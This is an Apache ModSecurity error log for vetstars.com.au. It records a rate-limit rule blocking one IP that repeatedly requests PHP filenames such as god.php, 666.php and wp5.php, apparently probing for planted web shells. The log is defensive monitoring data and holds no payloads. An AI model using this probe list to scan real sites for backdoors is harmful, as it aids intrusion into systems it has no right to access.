[Thu Feb 26 11:50:18.489222 2026] [:error] [pid 25311:tid 25323] [client 172.190.142.176:26610] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aZ_C-tfdM__yZAgJFSuJiQAAAYk"]
[Thu Feb 26 11:50:18.910913 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:29011] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aZ_C-uA33x90V6yYHaguHQAAAVE"]
[Thu Feb 26 11:50:19.349537 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:30908] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aZ_C--A33x90V6yYHaguHwAAAUs"]
[Thu Feb 26 11:50:19.788347 2026] [:error] [pid 25311:tid 25334] [client 172.190.142.176:33048] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aZ_C-9fdM__yZAgJFSuJkQAAAZQ"]
[Thu Feb 26 11:50:20.244748 2026] [:error] [pid 25311:tid 25322] [client 172.190.142.176:18616] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aZ_C_NfdM__yZAgJFSuJlgAAAYg"]
[Thu Feb 26 11:50:20.683774 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:26555] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aZ_C_NfdM__yZAgJFSuJmAAAAYw"]
[Thu Feb 26 11:50:21.125540 2026] [:error] [pid 25311:tid 25318] [client 172.190.142.176:41932] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "aZ_C_dfdM__yZAgJFSuJmgAAAYQ"]
[Thu Feb 26 11:50:21.579783 2026] [:error] [pid 55122:tid 55128] [client 172.190.142.176:26499] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aZ_C_YLiR0OfjFxvcN-n-wAAAMQ"]
[Thu Feb 26 11:50:22.035805 2026] [:error] [pid 25311:tid 25333] [client 172.190.142.176:31709] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aZ_C_tfdM__yZAgJFSuJngAAAZM"]
[Thu Feb 26 11:50:22.494009 2026] [:error] [pid 54991:tid 55022] [client 172.190.142.176:10181] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aZ_C_t4Zx-mJ8gbRB2h_0gAAAEI"]
[Thu Feb 26 11:50:22.926789 2026] [:error] [pid 55618:tid 55624] [client 172.190.142.176:19164] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aZ_C_h61Vrh12f_8oWRVuAAAAQM"]
[Thu Feb 26 11:50:23.386183 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:30887] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aZ_C_9fdM__yZAgJFSuJpgAAAYw"]
[Thu Feb 26 11:50:23.811760 2026] [:error] [pid 25311:tid 25333] [client 172.190.142.176:30906] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aZ_C_9fdM__yZAgJFSuJqQAAAZM"]
[Thu Feb 26 11:50:24.263777 2026] [:error] [pid 25311:tid 25321] [client 172.190.142.176:29019] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aZ_DANfdM__yZAgJFSuJrAAAAYc"]
[Thu Feb 26 11:50:24.700731 2026] [:error] [pid 25311:tid 25335] [client 172.190.142.176:26460] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aZ_DANfdM__yZAgJFSuJrgAAAZU"]
[Thu Feb 26 11:50:25.174938 2026] [:error] [pid 55122:tid 55134] [client 172.190.142.176:59837] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aZ_DAYLiR0OfjFxvcN-n_AAAAMo"]
[Thu Feb 26 11:50:25.617269 2026] [:error] [pid 25311:tid 25321] [client 172.190.142.176:31819] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aZ_DAdfdM__yZAgJFSuJsgAAAYc"]
[Thu Feb 26 11:50:26.045021 2026] [:error] [pid 55051:tid 55067] [client 172.190.142.176:28987] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aZ_DAgmK1w2kZvh5eLHSKgAAAI0"]
[Thu Feb 26 11:50:26.488168 2026] [:error] [pid 55051:tid 55068] [client 172.190.142.176:31674] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aZ_DAgmK1w2kZvh5eLHSLAAAAI4"]
[Thu Feb 26 11:50:26.932066 2026] [:error] [pid 55051:tid 55063] [client 172.190.142.176:60186] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZ_DAgmK1w2kZvh5eLHSMQAAAIk"]
[Thu Feb 26 11:50:27.356089 2026] [:error] [pid 55618:tid 55633] [client 172.190.142.176:23591] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZ_DAx61Vrh12f_8oWRVvQAAAQw"]
[Thu Feb 26 11:50:27.793277 2026] [:error] [pid 54991:tid 55037] [client 172.190.142.176:5794] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZ_DA94Zx-mJ8gbRB2h_1wAAAFE"]
[Thu Feb 26 11:50:28.239771 2026] [:error] [pid 55618:tid 55636] [client 172.190.142.176:43837] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aZ_DBB61Vrh12f_8oWRVwAAAAQ8"]
[Thu Feb 26 11:50:28.680854 2026] [:error] [pid 55618:tid 55632] [client 172.190.142.176:37233] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZ_DBB61Vrh12f_8oWRVwgAAAQs"]
[Thu Feb 26 11:50:29.145711 2026] [:error] [pid 54990:tid 54995] [client 172.190.142.176:14345] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZ_DBXtr2qmt_mBhH2zTsQAAAAI"]
[Thu Feb 26 11:50:29.587962 2026] [:error] [pid 3883:tid 3908] [client 172.190.142.176:14355] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZ_DBeA33x90V6yYHaguJgAAAVY"]
[Thu Feb 26 11:50:30.011905 2026] [:error] [pid 3883:tid 3910] [client 172.190.142.176:43794] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aZ_DBuA33x90V6yYHaguKAAAAVg"]
[Thu Feb 26 11:50:30.437837 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:26532] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZ_DBuA33x90V6yYHaguKgAAAUs"]
[Thu Feb 26 11:50:30.885356 2026] [:error] [pid 55618:tid 55643] [client 172.190.142.176:49693] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZ_DBh61Vrh12f_8oWRVxwAAARY"]
[Thu Feb 26 11:50:31.349330 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:40250] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZ_DB-A33x90V6yYHaguLgAAAUI"]
[Thu Feb 26 11:50:31.820900 2026] [:error] [pid 3883:tid 3905] [client 172.190.142.176:43820] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aZ_DB-A33x90V6yYHaguLwAAAVM"]
[Thu Feb 26 11:50:32.270236 2026] [:error] [pid 3883:tid 3898] [client 172.190.142.176:12809] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aZ_DCOA33x90V6yYHaguMQAAAUw"]
[Thu Feb 26 11:50:32.698062 2026] [:error] [pid 3883:tid 3899] [client 172.190.142.176:49727] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aZ_DCOA33x90V6yYHaguNAAAAU0"]
[Thu Feb 26 11:50:33.145664 2026] [:error] [pid 55618:tid 55635] [client 172.190.142.176:14398] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aZ_DCR61Vrh12f_8oWRVygAAAQ4"]
[Thu Feb 26 11:50:33.620018 2026] [:error] [pid 54991:tid 55040] [client 172.190.142.176:14394] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login8.php"] [unique_id "aZ_DCd4Zx-mJ8gbRB2h_2gAAAFQ"]
[Thu Feb 26 11:50:34.087852 2026] [:error] [pid 55618:tid 55644] [client 172.190.142.176:19165] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aZ_DCh61Vrh12f_8oWRVzAAAARc"]
[Thu Feb 26 11:50:34.522934 2026] [:error] [pid 55618:tid 55638] [client 172.190.142.176:40199] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aZ_DCh61Vrh12f_8oWRVzQAAARE"]
[Thu Feb 26 11:50:34.945467 2026] [:error] [pid 55618:tid 55628] [client 172.190.142.176:49688] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aZ_DCh61Vrh12f_8oWRVzwAAAQc"]
[Thu Feb 26 11:50:35.381771 2026] [:error] [pid 55051:tid 55055] [client 172.190.142.176:43822] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nnyvn.php"] [unique_id "aZ_DCwmK1w2kZvh5eLHSPwAAAIE"]
[Thu Feb 26 11:50:35.806592 2026] [:error] [pid 55618:tid 55625] [client 172.190.142.176:40201] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZ_DCx61Vrh12f_8oWRV0QAAAQQ"]
[Thu Feb 26 11:50:36.229429 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:40243] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZ_DDOA33x90V6yYHaguPQAAAUs"]
[Thu Feb 26 11:50:36.666234 2026] [:error] [pid 55618:tid 55634] [client 172.190.142.176:23311] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZ_DDB61Vrh12f_8oWRV0wAAAQ0"]
[Thu Feb 26 11:50:37.105710 2026] [:error] [pid 54991:tid 55041] [client 172.190.142.176:23297] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZ_DDd4Zx-mJ8gbRB2h_2wAAAFU"]
[Thu Feb 26 11:50:37.546224 2026] [:error] [pid 54990:tid 55017] [client 172.190.142.176:36138] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZ_DDXtr2qmt_mBhH2zTtAAAABg"]
[Thu Feb 26 11:50:37.964079 2026] [:error] [pid 54990:tid 55002] [client 172.190.142.176:33067] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZ_DDXtr2qmt_mBhH2zTtQAAAAk"]
[Thu Feb 26 11:51:27.144567 2026] [:error] [pid 54991:tid 55021] [client 172.190.142.176:36118] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aZ_DP94Zx-mJ8gbRB2iAJAAAAEE"]
[Thu Feb 26 11:51:27.590321 2026] [:error] [pid 25311:tid 25328] [client 172.190.142.176:20043] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aZ_DP9fdM__yZAgJFSuKZAAAAY4"]
[Thu Feb 26 11:51:28.043204 2026] [:error] [pid 55122:tid 55141] [client 172.190.142.176:20033] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aZ_DQILiR0OfjFxvcN-oLAAAANE"]
[Thu Feb 26 11:51:28.479843 2026] [:error] [pid 25311:tid 25318] [client 172.190.142.176:20339] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aZ_DQNfdM__yZAgJFSuKaQAAAYQ"]
[Thu Feb 26 11:51:28.924657 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:34681] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aZ_DQNfdM__yZAgJFSuKagAAAYw"]
[Thu Feb 26 11:51:29.343129 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:28388] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aZ_DQeA33x90V6yYHagu2QAAAVE"]
[Thu Feb 26 11:51:29.789882 2026] [:error] [pid 25311:tid 25325] [client 172.190.142.176:20340] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aZ_DQdfdM__yZAgJFSuKbAAAAYs"]
[Thu Feb 26 11:51:30.214567 2026] [:error] [pid 55618:tid 55639] [client 172.190.142.176:57902] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aZ_DQh61Vrh12f_8oWRWFgAAARI"]
[Thu Feb 26 11:51:30.661500 2026] [:error] [pid 25311:tid 25317] [client 172.190.142.176:8968] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aZ_DQtfdM__yZAgJFSuKbQAAAYM"]
[Thu Feb 26 11:51:31.079108 2026] [:error] [pid 55618:tid 55640] [client 172.190.142.176:9091] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aZ_DQx61Vrh12f_8oWRWFwAAARM"]
[Thu Feb 26 11:51:31.497980 2026] [:error] [pid 55618:tid 55638] [client 172.190.142.176:28382] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aZ_DQx61Vrh12f_8oWRWGAAAARE"]
